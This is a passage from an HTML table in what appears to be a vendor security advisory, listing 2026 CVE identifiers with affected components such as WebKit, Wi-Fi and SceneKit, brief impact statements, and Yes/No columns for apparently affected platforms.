    <td><img title="Reported through Zero Day Initiative" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28941" target="_blank">CVE-2026-28941</a></td>
    <td>Model I/O</td>
    <td>Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>No</td>
  </tr>
  <tr>
    <td><img title="Reported through Zero Day Initiative" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28940" target="_blank">CVE-2026-28940</a></td>
    <td>Model I/O</td>
    <td>Processing a maliciously crafted image may corrupt process memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28961" target="_blank">CVE-2026-28961</a></td>
    <td>Network Extensions</td>
    <td>An attacker with physical access to a locked device may be able to view sensitive user information</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28906" target="_blank">CVE-2026-28906</a></td>
    <td>Networking</td>
    <td>An attacker may be able to track users through their IP address</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28840" target="_blank">CVE-2026-28840</a></td>
    <td>PackageKit</td>
    <td>An app may be able to gain root privileges</td>
    <td>No</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43656" target="_blank">CVE-2026-43656</a></td>
    <td>Quick Look</td>
    <td>Parsing a maliciously crafted file may lead to an unexpected app termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43652" target="_blank">CVE-2026-43652</a></td>
    <td>Sandbox</td>
    <td>An app may be able to access protected user data</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39870" target="_blank">CVE-2026-39870</a></td>
    <td>SceneKit</td>
    <td>Processing a maliciously crafted image may corrupt process memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28846" target="_blank">CVE-2026-28846</a></td>
    <td>SceneKit</td>
    <td>A remote attacker may be able to cause unexpected app termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28993" target="_blank">CVE-2026-28993</a></td>
    <td>Shortcuts</td>
    <td>An app may be able to access user-sensitive data</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28848" target="_blank">CVE-2026-28848</a></td>
    <td>SMB</td>
    <td>A remote attacker may be able to cause unexpected system termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28930" target="_blank">CVE-2026-28930</a></td>
    <td>Spotlight</td>
    <td>An app may be able to access protected user data</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28974" target="_blank">CVE-2026-28974</a></td>
    <td>Spotlight</td>
    <td>An app may be able to cause a denial-of-service</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28996" target="_blank">CVE-2026-28996</a></td>
    <td>Storage</td>
    <td>An app may be able to access sensitive user data</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28919" target="_blank">CVE-2026-28919</a></td>
    <td>StorageKit</td>
    <td>An app may be able to gain root privileges</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28924" target="_blank">CVE-2026-28924</a></td>
    <td>Sync Services</td>
    <td>An app may be able to access Contacts without user consent</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39871" target="_blank">CVE-2026-39871</a></td>
    <td>TV App</td>
    <td>An app may be able to observe unprotected user data</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28976" target="_blank">CVE-2026-28976</a></td>
    <td>UserAccountUpdater</td>
    <td>An app may be able to gain root privileges</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43660" target="_blank">CVE-2026-43660</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may prevent Content Security Policy from being enforced</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28907" target="_blank">CVE-2026-28907</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may prevent Content Security Policy from being enforced</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28962" target="_blank">CVE-2026-28962</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may disclose sensitive user information</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43658" target="_blank">CVE-2026-43658</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28905" target="_blank">CVE-2026-28905</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><img title="Reported through Zero Day Initiative" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28847" target="_blank">CVE-2026-28847</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28904" target="_blank">CVE-2026-28904</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><img title="Reported through Zero Day Initiative" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28955" target="_blank">CVE-2026-28955</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28903" target="_blank">CVE-2026-28903</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28953" target="_blank">CVE-2026-28953</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28902" target="_blank">CVE-2026-28902</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28901" target="_blank">CVE-2026-28901</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28913" target="_blank">CVE-2026-28913</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28883" target="_blank">CVE-2026-28883</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28958" target="_blank">CVE-2026-28958</a></td>
    <td>WebKit</td>
    <td>An app may be able to access sensitive user data</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28917" target="_blank">CVE-2026-28917</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28947" target="_blank">CVE-2026-28947</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28946" target="_blank">CVE-2026-28946</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28942" target="_blank">CVE-2026-28942</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28971" target="_blank">CVE-2026-28971</a></td>
    <td>WebKit</td>
    <td>A malicious iframe may use another website's download settings</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28944" target="_blank">CVE-2026-28944</a></td>
    <td>WebRTC</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28819" target="_blank">CVE-2026-28819</a></td>
    <td>Wi-Fi</td>
    <td>An app may be able to execute arbitrary code with kernel privileges</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28994" target="_blank">CVE-2026-28994</a></td>
    <td>Wi-Fi</td>
    <td>An attacker in a privileged network position may be able to perform denial-of-service attack using crafted Wi-Fi packets</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28914" target="_blank">CVE-2026-28914</a></td>
    <td>zip</td>
    <td>A maliciously crafted ZIP archive may bypass Gatekeeper checks</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28920" target="_blank">CVE-2026-28920</a></td>
    <td>zlib</td>
    <td>Visiting a maliciously crafted website may leak sensitive data</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
</tbody>
</table>

